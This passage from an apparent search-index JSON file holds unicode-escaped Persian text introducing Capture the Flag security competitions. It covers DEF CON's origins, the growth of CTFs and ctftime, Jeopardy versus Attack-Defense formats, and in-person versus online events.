\u0628\u0647 \u0637\u0648\u0631 \u063a\u06cc\u0631\u0645\u0646\u062a\u0638\u0631\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0645\u0647\u0645\u0627\u0646\u06cc \u0628\u0631\u0627\u06cc \u062e\u062f\u0627\u062d\u0627\u0641\u0638\u06cc \u0627\u0632 \u06cc\u06a9 \u062f\u0648\u0633\u062a \u0647\u06a9\u0631\u0634 \u062f\u0631 \u0633\u0627\u0644 \u06f1\u06f9\u06f9\u06f3 \u062a\u0623\u0633\u06cc\u0633 \u0634\u062f. \u0627\u06cc\u0646 \u0645\u0647\u0645\u0627\u0646\u06cc \u0628\u0627 \u062d\u0636\u0648\u0631 \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f1\u06f0\u06f0 \u0646\u0641\u0631 \u0627\u0632 \u062f\u0648\u0633\u062a\u0627\u0646 \u0647\u06a9\u0631 \u0627\u0648 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0622\u0645\u062f\u0647 \u0628\u0648\u062f\u0646\u062f\u060c \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_2","title":"\u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0646\u062e\u0633\u062a CTF","text":"

\u0627\u0648\u0644\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u0628\u0647 \u0686\u0647\u0627\u0631\u0645\u06cc\u0646 \u062f\u0648\u0631\u0647 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u06cc\u0639\u0646\u06cc \u0633\u0627\u0644 \u06f1\u06f9\u06f9\u06f6 \u0628\u0631\u0645\u06cc\u200c\u06af\u0631\u062f\u062f. Defcon CTF \u0634\u0627\u06cc\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 CTF \u0627\u0633\u062a \u06a9\u0647 \u0647\u0646\u0648\u0632 \u0628\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u062e\u0648\u062f \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f. \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0646\u062e\u0633\u062a \u0622\u0646 (\u06f1\u06f9\u06f9\u06f6-\u06f2\u06f0\u06f0\u06f1) \u0647\u06cc\u0686 \u0642\u0627\u0646\u0648\u0646 \u0645\u0634\u062e\u0635\u06cc \u0628\u0631\u0627\u06cc \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0634\u062a. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u062d\u06cc\u0637 \u06cc\u0627 \u0628\u0633\u062a\u0631 \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0622\u0646 \u0633\u0627\u062e\u062a\u0647 \u0646\u0634\u062f\u0647 \u0628\u0648\u062f \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0633\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u062f. \u0628\u0631\u06af\u0632\u0627\u0631\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0627\u0648\u0644 \u062f\u0627\u0648\u0637\u0644\u0628\u0627\u0646 \u0648 \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f\u0627\u0646 \u063a\u06cc\u0631\u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0628\u0648\u062f\u0646\u062f \u06a9\u0647 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0627\u0641\u06cc \u0646\u062f\u0627\u0634\u062a\u0646\u062f. \u0627\u062e\u062a\u0644\u0627\u0641 \u0648 \u0646\u0627\u0631\u0636\u0627\u06cc\u062a\u06cc \u0632\u06cc\u0627\u062f \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0641\u0642\u062f\u0627\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631\u060c \u0639\u062f\u0645 \u062f\u0627\u0646\u0634 \u0641\u0646\u06cc \u06a9\u0627\u0641\u06cc \u062f\u0627\u0648\u0631\u0627\u0646\u060c \u062a\u0623\u062e\u06cc\u0631\u0647\u0627 \u0648 \u062e\u0637\u0627\u0647\u0627\u06cc \u0632\u06cc\u0627\u062f \u062f\u0631 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc\u060c \u0646\u0627\u067e\u0627\u06cc\u062f\u0627\u0631\u06cc \u0634\u0628\u06a9\u0647 \u0648 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u0627\u0632 \u0645\u0647\u0645\u200c\u062a\u0631\u06cc\u0646 \u0645\u0634\u06a9\u0644\u0627\u062a \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0627\u0648\u0644 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0648\u062f. \u0627\u0645\u0627 \u062f\u0631 \u0637\u0648\u0644 \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0628\u0639\u062f\u060c \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627 \u0622\u0647\u0633\u062a\u0647 \u0628\u0647 \u0628\u0644\u0648\u063a \u0631\u0633\u06cc\u062f \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062a\u0627 \u062d\u062f \u0632\u06cc\u0627\u062f\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0634\u062f\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_1","title":"\u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062d\u0627\u0644 \u062d\u0627\u0636\u0631","text":"

\u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0628\u0647 \u06cc\u06a9 \u0646\u0627\u0645 \u0645\u062d\u0628\u0648\u0628 \u062f\u0631 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0648 \u062a\u0639\u062f\u0627\u062f \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0628\u0647 \u0637\u0648\u0631 \u067e\u06cc\u0648\u0633\u062a\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0633\u062a. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644 \u062a\u0646\u0647\u0627 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f2\u06f3 \u0628\u0627\u0644\u063a \u0628\u0631 \u06f2\u06f9\u06f0 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u062f\u0631 \u0633\u0637\u062d \u062c\u0647\u0627\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0645\u0647\u0627\u0631\u062a\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0633\u062a\u0631\u062f\u0647\u200c\u062a\u0631 \u0648 \u062c\u062f\u06cc\u062f\u062a\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0628\u0644\u0627\u06a9\u0686\u06cc\u0646\u060c \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc\u060c \u067e\u0646\u0647\u0627\u0646\u200c\u0646\u06af\u0627\u0631\u06cc \u0648 \u062c\u0627\u0633\u0648\u0633\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0648\u0628 (Osint) \u0628\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u0627\u06cc\u0644 \u0648\u0628 \u0633\u0627\u06cc\u062a ctftime \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f1 \u0627\u0642\u062f\u0627\u0645 \u0628\u0647 \u0646\u06af\u0647\u062f\u0627\u0631\u06cc \u0648 \u062b\u0628\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647\u060c \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0627\u0645\u062a\u06cc\u0627\u0632 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0648 \u0648\u0632\u0646\u200c\u062f\u0647\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u0631\u062a\u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0647 \u0641\u0631\u0627\u0645\u0648\u0634\u06cc \u0633\u067e\u0631\u062f\u0647 \u0646\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0648\u0628\u0633\u0627\u06cc\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u06a9\u0627\u0645\u0644\u06cc \u062f\u0631 \u0645\u0648\u0631\u062f \u062a\u0642\u0648\u06cc\u0645 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u067e\u06cc\u0634 \u0631\u0648 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062f\u0646\u06cc\u0627 \u0648 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u06cc\u06af\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0622\u0631\u0634\u06cc\u0648 \u06a9\u0627\u0645\u0644\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0631\u062a\u0628\u0647\u200c\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0631 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632 \u06a9\u0644\u06cc \u0648 \u0631\u062f\u0647\u200c\u0628\u0646\u062f\u06cc \u0633\u0627\u0644\u0627\u0646\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc CTF \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc ctftime \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0645\u0631\u062c\u0639 \u062e\u0648\u0628 \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0648 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a.

\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u06af\u0630\u0631 \u0632\u0645\u0627\u0646 \u0628\u0647 \u0628\u0644\u0648\u063a \u0631\u0633\u06cc\u062f\u0646\u062f \u0648 \u0634\u0647\u0631\u062a \u0628\u06cc\u0634\u062a\u0631\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646\u062f\u060c \u062a\u0642\u0627\u0636\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631\u06cc \u0627\u0632 \u0637\u0631\u0641 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0622\u0645\u062f. \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 Defcon CTF \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u0647\u062a\u0631\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a \u062c\u0647\u0627\u0646 \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u062a\u0642\u0627\u0636\u0627 \u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0622\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0632\u06cc\u0627\u062f \u0627\u0633\u062a \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0631\u0648\u0634\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0632\u0634\u06cc \u0627\u0644\u0645\u067e\u06cc\u06a9 \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0622\u0646 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0627\u06cc\u062f \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0642\u062f\u0645\u0627\u062a\u06cc CTF \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u0646\u062f \u062a\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0644\u0627\u0632\u0645 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062d\u0636\u0648\u0631 \u062f\u0631 \u0627\u06cc\u0646 \u0631\u0648\u06cc\u062f\u0627\u062f \u06a9\u0633\u0628 \u06a9\u0646\u0646\u062f. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u06cc\u0644 Defcon CTF \u0628\u0647 \u0627\u0644\u0645\u067e\u06cc\u06a9 \u0647\u06a9\u0631\u0647\u0627 \u0645\u0639\u0631\u0648\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u062c\u0632\u0626\u06cc\u0627\u062a\u06cc \u0627\u0632 \u0646\u062a\u0627\u06cc\u062c \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0622\u0646 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0622\u0645\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u062a\u06cc\u0645 \u0642\u0647\u0631\u0645\u0627\u0646 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u062c\u0627\u06cc\u0632\u0647\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0644\u0627\u062a\u0631\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0628\u0647 \u0646\u0627\u0645 \"\u0646\u0634\u0627\u0646 \u0633\u06cc\u0627\u0647\" (Black Badge) \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_3","title":"\u0627\u0646\u0648\u0627\u0639 CTF","text":"

\u0645\u0646\u0627\u0628\u0639 \u0645\u062e\u062a\u0644\u0641 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0645\u0639\u06cc\u0627\u0631\u0647\u0627\u06cc \u06af\u0648\u0646\u0627\u06af\u0648\u0646 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0637\u0628\u0642\u0647\u200c\u0628\u0646\u062f\u06cc \u0622\u0646 \u0631\u0627 \u062a\u0634\u0631\u06cc\u062d \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-","title":"\u06f1- \u0628\u0631\u0627\u0633\u0627\u0633 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634","text":"

\u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u200c\u0647\u0627 \u06cc\u0627 \u0646\u062d\u0648\u0647 \u0631\u0642\u0627\u0628\u062a \u062a\u06cc\u0645\u200c\u0647\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0633\u062a. \u0628\u0631 \u0627\u06cc\u0646 \u0627\u0633\u0627\u0633 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 CTF\u0647\u0627 \u0631\u0627 \u0628\u0647 \u062f\u0641\u0627\u0639\u200c - \u062d\u0645\u0644\u0647 (Attack-Defense) \u0648 \u0633\u0628\u06a9 \u0645\u0648\u0636\u0648\u0639\u06cc (Jeopardy) \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f.

\u0627\u06cc\u0646 \u062f\u0633\u062a\u0647\u060c \u0627\u0632 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u0646\u0648\u0639 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0627\u0633\u062a. \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0628\u0631\u0627\u0633\u0627\u0633 \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0645\u0646\u06cc\u062a \u0645\u0627\u0646\u0646\u062f \u0648\u0628\u060c \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633\u060c \u062c\u0631\u0645\u200c\u06cc\u0627\u0628\u06cc\u060c Pwn\u060c \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u067e\u0646\u0647\u0627\u0646\u200c\u0646\u06af\u0627\u0631\u06cc \u0648\u063a\u06cc\u0631\u0647 \u0628\u0627 \u062f\u0631\u062c\u0647 \u0633\u062e\u062a\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0645\u0627\u0646\u0646\u062f \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0637\u0628\u0642\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0631\u0627 \u062d\u0644 \u0648 \u067e\u0631\u0686\u0645 \u0622\u0646 \u0686\u0627\u0644\u0634 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f. \u062f\u0631 \u0631\u0648\u0634 \u0645\u0648\u0636\u0648\u0639\u06cc \u0631\u0642\u0627\u0628\u062a \u0628\u06cc\u0646 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u06a9\u0633\u0628 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0645\u0633\u0627\u0628\u0642\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0645\u0647\u0627\u0631\u062a \u0632\u06cc\u0627\u062f \u062f\u0631 \u0647\u0645\u0647 \u0634\u0627\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0646\u06cc\u0633\u062a \u0686\u0648\u0646 \u0647\u0631 \u06cc\u06a9 \u0627\u0632 \u0627\u0639\u0636\u0627\u06cc \u062a\u06cc\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0631\u0634\u062a\u0647 \u062e\u0648\u062f \u0628\u067e\u0631\u062f\u0627\u0632\u0646\u062f.

\u062f\u0631 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u0648\u0644\u06cc\u0647 \u06cc\u06a9\u0633\u0627\u0646\u06cc \u0645\u0627\u0646\u0646\u062f \u062a\u0635\u0648\u06cc\u0631\u06cc \u0627\u0632 \u067e\u06cc\u06a9\u0631\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647\u060c \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0648 \u0633\u0631\u0648\u0631\u0647\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0647\u0631 \u062a\u06cc\u0645 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u0647\u0631 \u062a\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0647\u0645\u0632\u0645\u0627\u0646 \u0631\u0648\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0631\u0642\u06cc\u0628 \u06a9\u0627\u0631 \u06a9\u0646\u062f \u0648 \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 \u062e\u0648\u062f \u0645\u062d\u0627\u0641\u0638\u062a \u06a9\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647 \u0627\u0633\u062a\u061b \u0627\u06af\u0631 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627\u06cc \u062e\u0648\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f\u060c \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0633\u0631\u0639\u062a \u062f\u0631 \u0633\u0645\u062a \u062e\u0648\u062f \u0631\u0641\u0639 \u0648 \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u062d\u0645\u0644\u0647 \u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0645\u0633\u0626\u0644\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0633\u0637\u062d \u062f\u0627\u0646\u0634 \u0628\u0627\u0644\u0627\u06cc\u06cc \u062f\u0631 \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0645\u0646\u06cc\u062a \u062f\u0627\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_1","title":"\u06f2- \u0628\u0631\u0627\u0633\u0627\u0633 \u0634\u06cc\u0648\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc","text":"

\u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc CTF \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062d\u0636\u0648\u0631\u06cc \u06cc\u0627 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u0648\u062f. \u0645\u0639\u0645\u0648\u0644\u0627 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062d\u0636\u0648\u0631\u06cc \u062f\u0631 \u062d\u0627\u0634\u06cc\u0647 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0645\u0627\u0646\u0646\u062f Hitcon \u060cNulcon \u060cCSAW \u0648 Insomnihack \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0644\u0627\u0632\u0645 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0645\u0642\u062f\u0645\u0627\u062a\u06cc\u060c \u0628\u0631\u0627\u06cc \u062d\u0636\u0648\u0631 \u062f\u0631 \u0645\u062d\u0644 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0639\u0648\u062a \u0645\u06cc\u200c\u0634\u0648\u0646\u062f\u060c \u0627\u0645\u0627 \u062f\u0631 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u0622\u0646\u0644\u0627\u06cc\u0646 \u0647\u0645\u0647\u200c\u06cc \u0627\u062a\u0641\u0627\u0642\u0627\u062a \u0645\u0627\u0646\u0646\u062f \u0627\u0639\u0644\u0627\u0646\u200c\u0647\u0627\u060c \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u062a\u0627\u0628\u0644\u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0631\u0648\u06cc \u0633\u0627\u06cc\u062a \u0645\u0633\u0627\u0628\u0642\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u0627\u0632 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062f\u0631 \u0622\u0646 \u0634\u0631\u06a9\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0627\u063a\u0644\u0628 \u0628\u0647 \u0635\u0648\u0631\u062a \u062d\u0636\u0648\u0631\u06cc \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f 